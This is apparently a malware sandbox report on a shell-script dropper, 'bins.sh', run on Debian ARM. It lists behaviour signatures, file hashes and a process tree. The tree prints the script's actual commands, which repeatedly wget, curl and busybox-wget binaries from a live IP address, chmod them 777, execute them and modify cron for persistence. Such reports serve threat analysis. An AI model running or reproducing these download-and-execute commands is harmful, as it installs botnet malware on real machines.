Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 00:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-arr7esydpg
  • SHA256 aff8f0fa4d411eadadf48fc055c4c6307a00be8aafd9de7aee92122ef1b77aae
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1631) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:674
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:683
        • /usr/bin/wget
          wget http://216.126.231.240/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Writes file to tmp directory
          PID:684
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:700
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Writes file to tmp directory
          PID:707
        • /bin/chmod
          chmod 777 a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • File and Directory Permissions Modification
          PID:708
        • /tmp/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          ./a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
          • Executes dropped EXE
          PID:710
        • /bin/rm
          rm a391rozmLMGjuYeun5LSONAdtIqakCWUdU
          2⤵
            PID:712
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Writes file to tmp directory
            PID:713
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:714
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Writes file to tmp directory
            PID:715
          • /bin/chmod
            chmod 777 Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • File and Directory Permissions Modification
            PID:716
          • /tmp/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            ./Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
            • Executes dropped EXE
            PID:717
          • /bin/rm
            rm Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
            2⤵
              PID:721
            • /usr/bin/wget
              wget http://216.126.231.240/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Writes file to tmp directory
              PID:723
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:728
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Writes file to tmp directory
              PID:734
            • /bin/chmod
              chmod 777 OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • File and Directory Permissions Modification
              PID:737
            • /tmp/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              ./OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
              • Executes dropped EXE
              PID:739
            • /bin/rm
              rm OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
              2⤵
                PID:741
              • /usr/bin/wget
                wget http://216.126.231.240/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Writes file to tmp directory
                PID:742
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:747
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Writes file to tmp directory
                PID:755
              • /bin/chmod
                chmod 777 ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                ./ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                • Executes dropped EXE
                PID:760
              • /bin/rm
                rm ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                2⤵
                  PID:763
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Writes file to tmp directory
                  PID:765
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:770
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Writes file to tmp directory
                  PID:778
                • /bin/chmod
                  chmod 777 VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  ./VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                  • Executes dropped EXE
                  PID:782
                • /bin/rm
                  rm VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                  2⤵
                    PID:786
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Writes file to tmp directory
                    PID:787
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:790
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Writes file to tmp directory
                    PID:797
                  • /bin/chmod
                    chmod 777 zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    ./zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:801
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:803
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:804
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:809
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:811
                      • /bin/rm
                        rm zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                        2⤵
                          PID:813
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sLlp6kW4vv0BbZdzNBTBdxeCluTzSSnYvr
                          2⤵
                            PID:816

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
                              • Path /tmp/OUy4GLc6EWYk4OFJJ9F6Zt865owfD5Il38
                              • Size 117KB
                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                              • Path /tmp/VIJRMzItdoZUcuhwkPyb3FIkPeIAFTqEvt
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
                              • Path /tmp/Vs8ZXJWMyqdcswMWHw5UO2lvSJh8NLPMmM
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                              • Path /tmp/ZnrtKutZJUsfb0uh7QGcfM9sm2UKVJhVrX
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              a391rozmLMGjuYeun5LSONAdtIqakCWUdU
                              • Path /tmp/a391rozmLMGjuYeun5LSONAdtIqakCWUdU
                              • Size 111KB
                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                              • Path /tmp/zYLJjdmeeL8vyaFJRC70YJZgLwIoYYYgEq
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.0eCXYW
                              • Path /var/spool/cron/crontabs/tmp.0eCXYW
                              • Size 210B
                              • SHA256 42079473c903da1e9372dabdb0866f947084615c1fcf9ca8276830cd3e43d2a1
                              • MD5 SHA1 SHA512
                              Submit Download